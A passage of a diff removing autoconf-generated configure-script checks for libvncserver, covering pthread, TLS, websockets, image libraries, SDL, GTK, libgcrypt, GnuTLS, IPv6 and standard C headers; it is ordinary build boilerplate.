- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lpthread $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char pthread_mutex_lock ();
-int
-main ()
-{
-return pthread_mutex_lock ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_pthread_pthread_mutex_lock=yes
-else
- ac_cv_lib_pthread_pthread_mutex_lock=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pthread_pthread_mutex_lock" >&5
-$as_echo "$ac_cv_lib_pthread_pthread_mutex_lock" >&6; }
-if test "x$ac_cv_lib_pthread_pthread_mutex_lock" = xyes; then :
- HAVE_LIBPTHREAD="true"
-fi
-
- fi
-fi
- if test ! -z "$HAVE_LIBPTHREAD"; then
- HAVE_LIBPTHREAD_TRUE=
- HAVE_LIBPTHREAD_FALSE='#'
-else
- HAVE_LIBPTHREAD_TRUE='#'
- HAVE_LIBPTHREAD_FALSE=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for __thread" >&5
-$as_echo_n "checking for __thread... " >&6; }
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-static __thread int p = 0
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-$as_echo "#define HAVE_TLS 1" >>confdefs.h
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-
-# tightvnc-filetransfer implemented using threads:
-if test -z "$HAVE_LIBPTHREAD"; then
- with_tightvnc_filetransfer=""
-fi
-if test "x$with_tightvnc_filetransfer" = "xyes"; then
- $as_echo "#define WITH_TIGHTVNC_FILETRANSFER 1" >>confdefs.h
-
-fi
- if test "$with_tightvnc_filetransfer" = "yes"; then
- WITH_TIGHTVNC_FILETRANSFER_TRUE=
- WITH_TIGHTVNC_FILETRANSFER_FALSE='#'
-else
- WITH_TIGHTVNC_FILETRANSFER_TRUE='#'
- WITH_TIGHTVNC_FILETRANSFER_FALSE=
-fi
-
-
-# websockets implemented using base64 from resolve
-if test "x$HAVE_B64" != "xtrue"; then
- with_websockets=""
-fi
-if test "x$with_websockets" = "xyes"; then
- LIBS="$LIBS -lresolv $SSL_LIBS"
- $as_echo "#define WITH_WEBSOCKETS 1" >>confdefs.h
-
-fi
- if test "$with_websockets" = "yes"; then
- WITH_WEBSOCKETS_TRUE=
- WITH_WEBSOCKETS_FALSE='#'
-else
- WITH_WEBSOCKETS_TRUE='#'
- WITH_WEBSOCKETS_FALSE=
-fi
-
-
- if test ! -z "$HAVE_ZLIB_H"; then
- HAVE_LIBZ_TRUE=
- HAVE_LIBZ_FALSE='#'
-else
- HAVE_LIBZ_TRUE='#'
- HAVE_LIBZ_FALSE=
-fi
-
- if test ! -z "$HAVE_JPEGLIB_H"; then
- HAVE_LIBJPEG_TRUE=
- HAVE_LIBJPEG_FALSE='#'
-else
- HAVE_LIBJPEG_TRUE='#'
- HAVE_LIBJPEG_FALSE=
-fi
-
- if test ! -z "$HAVE_PNGLIB_H"; then
- HAVE_LIBPNG_TRUE=
- HAVE_LIBPNG_FALSE='#'
-else
- HAVE_LIBPNG_TRUE='#'
- HAVE_LIBPNG_FALSE=
-fi
-
-
-
-SDLCONFIG="sdl-config"
-
-# Check whether --with-sdl-config was given.
-if test "${with_sdl_config+set}" = set; then :
- withval=$with_sdl_config;
- if test "$withval" != "yes" -a "$withval" != ""; then
- SDLCONFIG=$withval
- fi
-
-fi
-
-
-if test -z "$with_sdl"; then
- if $SDLCONFIG --version >/dev/null 2>&1; then
- with_sdl=yes
- SDL_CFLAGS=`$SDLCONFIG --cflags`
- SDL_LIBS=`$SDLCONFIG --libs`
- else
- with_sdl=no
- fi
-fi
- if test "x$with_sdl" = "xyes"; then
- HAVE_LIBSDL_TRUE=
- HAVE_LIBSDL_FALSE='#'
-else
- HAVE_LIBSDL_TRUE='#'
- HAVE_LIBSDL_FALSE=
-fi
-
-
-
-
-
-# Check for GTK+. if present, build the GTK+ vnc viewer example
-
-
-
-
-
-
-
-if test "x$ac_cv_env_PKG_CONFIG_set" != "xset"; then
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}pkg-config", so it can be a program name with args.
-set dummy ${ac_tool_prefix}pkg-config; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_path_PKG_CONFIG+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $PKG_CONFIG in
- [\\/]* | ?:[\\/]*)
- ac_cv_path_PKG_CONFIG="$PKG_CONFIG" # Let the user override the test with a path.
- ;;
- *)
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_PKG_CONFIG="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- ;;
-esac
-fi
-PKG_CONFIG=$ac_cv_path_PKG_CONFIG
-if test -n "$PKG_CONFIG"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $PKG_CONFIG" >&5
-$as_echo "$PKG_CONFIG" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_path_PKG_CONFIG"; then
- ac_pt_PKG_CONFIG=$PKG_CONFIG
- # Extract the first word of "pkg-config", so it can be a program name with args.
-set dummy pkg-config; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_path_ac_pt_PKG_CONFIG+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $ac_pt_PKG_CONFIG in
- [\\/]* | ?:[\\/]*)
- ac_cv_path_ac_pt_PKG_CONFIG="$ac_pt_PKG_CONFIG" # Let the user override the test with a path.
- ;;
- *)
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_ac_pt_PKG_CONFIG="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- ;;
-esac
-fi
-ac_pt_PKG_CONFIG=$ac_cv_path_ac_pt_PKG_CONFIG
-if test -n "$ac_pt_PKG_CONFIG"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_pt_PKG_CONFIG" >&5
-$as_echo "$ac_pt_PKG_CONFIG" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_pt_PKG_CONFIG" = x; then
- PKG_CONFIG=""
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- PKG_CONFIG=$ac_pt_PKG_CONFIG
- fi
-else
- PKG_CONFIG="$ac_cv_path_PKG_CONFIG"
-fi
-
-fi
-if test -n "$PKG_CONFIG"; then
- _pkg_min_version=0.9.0
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking pkg-config is at least version $_pkg_min_version" >&5
-$as_echo_n "checking pkg-config is at least version $_pkg_min_version... " >&6; }
- if $PKG_CONFIG --atleast-pkgconfig-version $_pkg_min_version; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- PKG_CONFIG=""
- fi
-fi
-
-pkg_failed=no
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for GTK" >&5
-$as_echo_n "checking for GTK... " >&6; }
-
-if test -n "$GTK_CFLAGS"; then
- pkg_cv_GTK_CFLAGS="$GTK_CFLAGS"
- elif test -n "$PKG_CONFIG"; then
- if test -n "$PKG_CONFIG" && \
- { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"gtk+-2.0\""; } >&5
- ($PKG_CONFIG --exists --print-errors "gtk+-2.0") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- pkg_cv_GTK_CFLAGS=`$PKG_CONFIG --cflags "gtk+-2.0" 2>/dev/null`
- test "x$?" != "x0" && pkg_failed=yes
-else
- pkg_failed=yes
-fi
- else
- pkg_failed=untried
-fi
-if test -n "$GTK_LIBS"; then
- pkg_cv_GTK_LIBS="$GTK_LIBS"
- elif test -n "$PKG_CONFIG"; then
- if test -n "$PKG_CONFIG" && \
- { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"gtk+-2.0\""; } >&5
- ($PKG_CONFIG --exists --print-errors "gtk+-2.0") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- pkg_cv_GTK_LIBS=`$PKG_CONFIG --libs "gtk+-2.0" 2>/dev/null`
- test "x$?" != "x0" && pkg_failed=yes
-else
- pkg_failed=yes
-fi
- else
- pkg_failed=untried
-fi
-
-
-
-if test $pkg_failed = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-
-if $PKG_CONFIG --atleast-pkgconfig-version 0.20; then
- _pkg_short_errors_supported=yes
-else
- _pkg_short_errors_supported=no
-fi
- if test $_pkg_short_errors_supported = yes; then
- GTK_PKG_ERRORS=`$PKG_CONFIG --short-errors --print-errors --cflags --libs "gtk+-2.0" 2>&1`
- else
- GTK_PKG_ERRORS=`$PKG_CONFIG --print-errors --cflags --libs "gtk+-2.0" 2>&1`
- fi
- # Put the nasty error message in config.log where it belongs
- echo "$GTK_PKG_ERRORS" >&5
-
- :
-elif test $pkg_failed = untried; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- :
-else
- GTK_CFLAGS=$pkg_cv_GTK_CFLAGS
- GTK_LIBS=$pkg_cv_GTK_LIBS
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-
-fi
- if test ! -z "$GTK_LIBS"; then
- HAVE_LIBGTK_TRUE=
- HAVE_LIBGTK_FALSE='#'
-else
- HAVE_LIBGTK_TRUE='#'
- HAVE_LIBGTK_FALSE=
-fi
-
-
-
-MINGW=`echo $host_os | grep mingw32 2>/dev/null`
- if test ! -z "$MINGW" ; then
- MINGW_TRUE=
- MINGW_FALSE='#'
-else
- MINGW_TRUE='#'
- MINGW_FALSE=
-fi
-
-if test ! -z "$MINGW"; then
- WSOCKLIB="-lws2_32"
- LDFLAGS="$LDFLAGS -no-undefined"
-fi
-
-
-# Check for libgcrypt
-
-
-# Check whether --with-gcrypt was given.
-if test "${with_gcrypt+set}" = set; then :
- withval=$with_gcrypt;
-fi
-
-
-# Check whether --with-client-gcrypt was given.
-if test "${with_client_gcrypt+set}" = set; then :
- withval=$with_client_gcrypt;
-fi
-
-
-if test "x$with_gcrypt" != "xno"; then
-
-# Check whether --with-libgcrypt-prefix was given.
-if test "${with_libgcrypt_prefix+set}" = set; then :
- withval=$with_libgcrypt_prefix; libgcrypt_config_prefix="$withval"
-else
- libgcrypt_config_prefix=""
-fi
-
- if test x$libgcrypt_config_prefix != x ; then
- if test x${LIBGCRYPT_CONFIG+set} != xset ; then
- LIBGCRYPT_CONFIG=$libgcrypt_config_prefix/bin/libgcrypt-config
- fi
- fi
-
- # Extract the first word of "libgcrypt-config", so it can be a program name with args.
-set dummy libgcrypt-config; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_path_LIBGCRYPT_CONFIG+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $LIBGCRYPT_CONFIG in
- [\\/]* | ?:[\\/]*)
- ac_cv_path_LIBGCRYPT_CONFIG="$LIBGCRYPT_CONFIG" # Let the user override the test with a path.
- ;;
- *)
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_LIBGCRYPT_CONFIG="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- test -z "$ac_cv_path_LIBGCRYPT_CONFIG" && ac_cv_path_LIBGCRYPT_CONFIG="no"
- ;;
-esac
-fi
-LIBGCRYPT_CONFIG=$ac_cv_path_LIBGCRYPT_CONFIG
-if test -n "$LIBGCRYPT_CONFIG"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $LIBGCRYPT_CONFIG" >&5
-$as_echo "$LIBGCRYPT_CONFIG" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
- tmp=1.4.0
- if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
- req_libgcrypt_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
- min_libgcrypt_version=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\2/'`
- else
- req_libgcrypt_api=0
- min_libgcrypt_version="$tmp"
- fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for LIBGCRYPT - version >= $min_libgcrypt_version" >&5
-$as_echo_n "checking for LIBGCRYPT - version >= $min_libgcrypt_version... " >&6; }
- ok=no
- if test "$LIBGCRYPT_CONFIG" != "no" ; then
- req_major=`echo $min_libgcrypt_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\1/'`
- req_minor=`echo $min_libgcrypt_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\2/'`
- req_micro=`echo $min_libgcrypt_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\3/'`
- libgcrypt_config_version=`$LIBGCRYPT_CONFIG --version`
- major=`echo $libgcrypt_config_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).*/\1/'`
- minor=`echo $libgcrypt_config_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).*/\2/'`
- micro=`echo $libgcrypt_config_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).*/\3/'`
- if test "$major" -gt "$req_major"; then
- ok=yes
- else
- if test "$major" -eq "$req_major"; then
- if test "$minor" -gt "$req_minor"; then
- ok=yes
- else
- if test "$minor" -eq "$req_minor"; then
- if test "$micro" -ge "$req_micro"; then
- ok=yes
- fi
- fi
- fi
- fi
- fi
- fi
- if test $ok = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes ($libgcrypt_config_version)" >&5
-$as_echo "yes ($libgcrypt_config_version)" >&6; }
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- fi
- if test $ok = yes; then
- # If we have a recent libgcrypt, we should also check that the
- # API is compatible
- if test "$req_libgcrypt_api" -gt 0 ; then
- tmp=`$LIBGCRYPT_CONFIG --api-version 2>/dev/null || echo 0`
- if test "$tmp" -gt 0 ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking LIBGCRYPT API version" >&5
-$as_echo_n "checking LIBGCRYPT API version... " >&6; }
- if test "$req_libgcrypt_api" -eq "$tmp" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: okay" >&5
-$as_echo "okay" >&6; }
- else
- ok=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: does not match. want=$req_libgcrypt_api got=$tmp" >&5
-$as_echo "does not match. want=$req_libgcrypt_api got=$tmp" >&6; }
- fi
- fi
- fi
- fi
- if test $ok = yes; then
- LIBGCRYPT_CFLAGS=`$LIBGCRYPT_CONFIG --cflags`
- LIBGCRYPT_LIBS=`$LIBGCRYPT_CONFIG --libs`
- :
- else
- LIBGCRYPT_CFLAGS=""
- LIBGCRYPT_LIBS=""
- with_client_gcrypt=no
- fi
-
-
-
- CFLAGS="$CFLAGS $LIBGCRYPT_CFLAGS"
- LIBS="$LIBS $LIBGCRYPT_LIBS"
- if test "x$with_client_gcrypt" != "xno"; then
- $as_echo "#define WITH_CLIENT_GCRYPT 1" >>confdefs.h
-
- fi
-fi
-
-# Checks for GnuTLS
-
-
-# Check whether --with-gnutls was given.
-if test "${with_gnutls+set}" = set; then :
- withval=$with_gnutls;
-fi
-
-
-if test "x$with_gnutls" != "xno"; then
-
-pkg_failed=no
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for GNUTLS" >&5
-$as_echo_n "checking for GNUTLS... " >&6; }
-
-if test -n "$GNUTLS_CFLAGS"; then
- pkg_cv_GNUTLS_CFLAGS="$GNUTLS_CFLAGS"
- elif test -n "$PKG_CONFIG"; then
- if test -n "$PKG_CONFIG" && \
- { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"gnutls >= 2.4.0\""; } >&5
- ($PKG_CONFIG --exists --print-errors "gnutls >= 2.4.0") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- pkg_cv_GNUTLS_CFLAGS=`$PKG_CONFIG --cflags "gnutls >= 2.4.0" 2>/dev/null`
- test "x$?" != "x0" && pkg_failed=yes
-else
- pkg_failed=yes
-fi
- else
- pkg_failed=untried
-fi
-if test -n "$GNUTLS_LIBS"; then
- pkg_cv_GNUTLS_LIBS="$GNUTLS_LIBS"
- elif test -n "$PKG_CONFIG"; then
- if test -n "$PKG_CONFIG" && \
- { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"gnutls >= 2.4.0\""; } >&5
- ($PKG_CONFIG --exists --print-errors "gnutls >= 2.4.0") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- pkg_cv_GNUTLS_LIBS=`$PKG_CONFIG --libs "gnutls >= 2.4.0" 2>/dev/null`
- test "x$?" != "x0" && pkg_failed=yes
-else
- pkg_failed=yes
-fi
- else
- pkg_failed=untried
-fi
-
-
-
-if test $pkg_failed = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-
-if $PKG_CONFIG --atleast-pkgconfig-version 0.20; then
- _pkg_short_errors_supported=yes
-else
- _pkg_short_errors_supported=no
-fi
- if test $_pkg_short_errors_supported = yes; then
- GNUTLS_PKG_ERRORS=`$PKG_CONFIG --short-errors --print-errors --cflags --libs "gnutls >= 2.4.0" 2>&1`
- else
- GNUTLS_PKG_ERRORS=`$PKG_CONFIG --print-errors --cflags --libs "gnutls >= 2.4.0" 2>&1`
- fi
- # Put the nasty error message in config.log where it belongs
- echo "$GNUTLS_PKG_ERRORS" >&5
-
- :
-elif test $pkg_failed = untried; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- :
-else
- GNUTLS_CFLAGS=$pkg_cv_GNUTLS_CFLAGS
- GNUTLS_LIBS=$pkg_cv_GNUTLS_LIBS
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-
-fi
- CFLAGS="$CFLAGS $GNUTLS_CFLAGS"
- LIBS="$LIBS $GNUTLS_LIBS"
-fi
- if test ! -z "$GNUTLS_LIBS"; then
- HAVE_GNUTLS_TRUE=
- HAVE_GNUTLS_FALSE='#'
-else
- HAVE_GNUTLS_TRUE='#'
- HAVE_GNUTLS_FALSE=
-fi
-
-if test ! -z "$GNUTLS_LIBS" ; then
- $as_echo "#define HAVE_GNUTLS 1" >>confdefs.h
-
-fi
-
-
-# warn if neither GnuTLS nor OpenSSL are available
-if test -z "$SSL_LIBS" -a -z "$GNUTLS_LIBS"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** No encryption library could be found. ***
-A libvncserver/libvncclient built this way will not support SSL encryption.
-To enable SSL install the necessary development packages (perhaps it is named
-something like libssl-dev or gnutls-dev) and run configure again.
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** No encryption library could be found. ***
-A libvncserver/libvncclient built this way will not support SSL encryption.
-To enable SSL install the necessary development packages (perhaps it is named
-something like libssl-dev or gnutls-dev) and run configure again.
-==========================================================================
-" >&2;}
- sleep 5
-fi
-
-
-# IPv6
-
-
-# Check whether --with-ipv6 was given.
-if test "${with_ipv6+set}" = set; then :
- withval=$with_ipv6;
-fi
-
-if test "x$with_ipv6" != "xno"; then
- ac_fn_c_check_func "$LINENO" "getaddrinfo" "ac_cv_func_getaddrinfo"
-if test "x$ac_cv_func_getaddrinfo" = xyes; then :
- $as_echo "#define IPv6 1" >>confdefs.h
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for getaddrinfo in -lsocket" >&5
-$as_echo_n "checking for getaddrinfo in -lsocket... " >&6; }
-if ${ac_cv_lib_socket_getaddrinfo+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsocket $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char getaddrinfo ();
-int
-main ()
-{
-return getaddrinfo ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_socket_getaddrinfo=yes
-else
- ac_cv_lib_socket_getaddrinfo=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_getaddrinfo" >&5
-$as_echo "$ac_cv_lib_socket_getaddrinfo" >&6; }
-if test "x$ac_cv_lib_socket_getaddrinfo" = xyes; then :
- $as_echo "#define IPv6 1" >>confdefs.h
-
-else
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for getaddrinfo in -lws2_32" >&5
-$as_echo_n "checking for getaddrinfo in -lws2_32... " >&6; }
- LIBS="$LIBS -lws2_32"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <ws2tcpip.h>
-int
-main ()
-{
-getaddrinfo(0, 0, 0, 0);
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
- $as_echo "#define IPv6 1" >>confdefs.h
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-
-fi
-
-fi
-
-fi
-
-
-
-# Checks for header files.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5
-$as_echo_n "checking for ANSI C header files... " >&6; }
-if ${ac_cv_header_stdc+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-#include <stdarg.h>
-#include <string.h>
-#include <float.h>
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_stdc=yes
-else
- ac_cv_header_stdc=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-if test $ac_cv_header_stdc = yes; then
- # SunOS 4.x string.h does not declare mem*, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <string.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "memchr" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
-
-if test $ac_cv_header_stdc = yes; then
- # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "free" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
-
-if test $ac_cv_header_stdc = yes; then
- # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi.
- if test "$cross_compiling" = yes; then :
- :
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <ctype.h>
-#include <stdlib.h>
-#if ((' ' & 0x0FF) == 0x020)
-# define ISLOWER(c) ('a' <= (c) && (c) <= 'z')
-# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c))
-#else
-# define ISLOWER(c) \
- (('a' <= (c) && (c) <= 'i') \
- || ('j' <= (c) && (c) <= 'r') \
- || ('s' <= (c) && (c) <= 'z'))
-# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c))
-#endif
-
-#define XOR(e, f) (((e) && !(f)) || (!(e) && (f)))
-int
-main ()
-{
- int i;
- for (i = 0; i < 256; i++)
- if (XOR (islower (i), ISLOWER (i))
- || toupper (i) != TOUPPER (i))
- return 2;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdc" >&5
-$as_echo "$ac_cv_header_stdc" >&6; }
-if test $ac_cv_header_stdc = yes; then
-
-$as_echo "#define STDC_HEADERS 1" >>confdefs.h
-
-fi
-
-for ac_header in arpa/inet.h fcntl.h netdb.h netinet/in.h stdlib.h string.h sys/socket.h sys/time.h sys/timeb.h syslog.h unistd.h ws2tcpip.h
-do :
- as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
-ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default"
-if eval test \"x\$"$as_ac_Header"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-#define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-
-done
-
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
- for ac_header in pwd.h sys/wait.h utmpx.h termios.h sys/ioctl.h sys/stropts.h
-do :
- as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
-ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default"
-if eval test \"x\$"$as_ac_Header"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-#define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-
-done
-
-fi
-
-# Checks for typedefs, structures, and compiler characteristics.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for an ANSI C-conforming const" >&5
-$as_echo_n "checking for an ANSI C-conforming const... " >&6; }
-if ${ac_cv_c_const+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
-#ifndef __cplusplus
- /* Ultrix mips cc rejects this sort of thing. */
- typedef int charset[2];
- const charset cs = { 0, 0 };
- /* SunOS 4.1.1 cc rejects this. */
- char const *const *pcpcc;
- char **ppc;
- /* NEC SVR4.0.2 mips cc rejects this. */
- struct point {int x, y;};
